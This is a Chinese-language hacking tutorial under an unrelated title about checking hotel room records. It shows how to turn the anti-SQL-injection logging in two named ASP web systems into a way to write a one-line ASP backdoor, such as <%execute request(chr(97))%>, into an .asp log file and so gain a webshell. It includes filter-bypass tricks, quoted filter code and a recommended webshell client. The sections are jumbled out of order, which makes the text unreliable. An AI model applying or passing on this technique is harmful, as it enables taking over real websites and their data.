查酒店住房记录用什么app（查酒店开的房记录查询方法）
- >
- 话题 >
对于目前流行的sql注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交的非法参数和动作等,同时也把非法提交的数据写入了系统的后缀为ASP的文件中,这也给了我们一些可利用的地方,大家知道,一句话马就是利用程序过滤的不完全而写入的,按照这思路,我们是否可以在提交非法参数中加入一句话马而防注入程序就会记录我们提交的数据和一句话马并写入数据库,从而得到一个WEBSHELL呢?呵呵,答案是肯定的,但对于要写入的一句话马如何绕过过滤的程序,却是个难题,常见的一句话马格式为”<%execute request(“a”)%>,而<%%>就很难绕过HTML的过滤, 但我们可以通过不同的方法来绕过,下面我分别以二个系统来讲解:
打开”http://127.0.0.1/2005/sia-log.asp，出现了”类型不匹配:’execute’,显示内部错误的IE选项显示好友错误钩掉就可以了。我们再用一句话客户端来接连上传后成功得到一个WEBSHELL。
例二:再谈谈” 快乐视听音乐网 V4.0版本”系统的利用和分析:
系统加强防sql注入, 取消Asp页面, 对不友好的IP或IP段进行封锁。自动封注入者Ip功能，使注入者不能再访问本站！可后台管理、显示系统界面。当在参数后提交非法数据时,系统自动记录你的IP地址,提交的非法参数和动作等,然后系统屏蔽了你的IP地址，
让你再无法访问网站。我们先看下防注入sql.asp文件中的部分代码，读过防注入代码的人一眼就能看出来这个文件是个修改版的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | <% ‘——–说明—————— ‘SQL防注入加强版 ‘——–数据库连接部分————– dim dbkillSql,killSqlconn,connkillSql dbkillSql=data/#sql.asp ‘On Error Resume Next Set killSqlconn = Server.CreateObject(ADODB.Connection) connkillSql=Provider=Microsoft.Jet.OLEDB.4.0;Data Source= & Server.MapPath(dbkillSql) killSqlconn.Open connkillSql If Err Then err.Clear Set killSqlconn = Nothing Response.Write 数据库连接出错，请检查连接字串。 Response.End End If ‘——–定义部份—————— Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql ‘自定义需要过滤的字串,用 | 分隔 Fy_In = ’|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare Kill_IP=True WriteSql=True 以下略过 在sql.asp文件中,对下面出现在”|”分隔中的字符进行了拦截: Fy_In = ’|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare |
也就说明了只有提交这些出现在”|”分隔的被过滤的字符串,才会被防注入系统写入数据库中而且是被写入到data目录中的#sql.asp文件中,其后缀为.asp的,刚好可以被我们利用,
同样的道理,当你提交<%execute request(chr(97))%>时,%被过滤了
我们把一句话小马加密成<%25execute request(chr(97))%25>还是被过滤了,因为%还是存在我们把一句话改成这样整句中就没有出现“%“，提交后则成功完整的被写入
用一句话客户端连接并提交成功得到WEBSHELL。如果连接出错，换个一句话连接工具laker2的不错。
总结:
以上只是对这二个系统出现的漏洞一个方面的分析和利用,当然这类系统也存在着其它方面的漏洞如cookie的注入
例一西亚购物系统的利用和分析:
“西亚购物系统做了全面性安全处理, ‘数据库防下载处理/CONN防止暴库处理/防止跨站脚本攻击/SQL注入式攻击防范/禁止脱机浏览工具/前台登陆验证码/后台登陆验证码/
‘会员密码MD5加密/管理员密码MD5加密/数据来源安全性监测/sql注入代码过滤/HTML代码过滤及防护/管理员登陆日至记录/攻击记录及恶意IP屏蔽/非法操作代码日至记录/吧安全网 “
当我们在参数提交非法参数时,弹出防注入的页面
大家看到这时我们已转到”http://127.0.0.1/2005/Error.asp?allquery=id=381’的这个页面上了我们来看conn.asp文件中部分防注入的代码，代码太长就贴点关键，百度老说老子文章长
- 发表于 2021-04-03 11:13
- 阅读 ( 463 )
- 分类：互联网
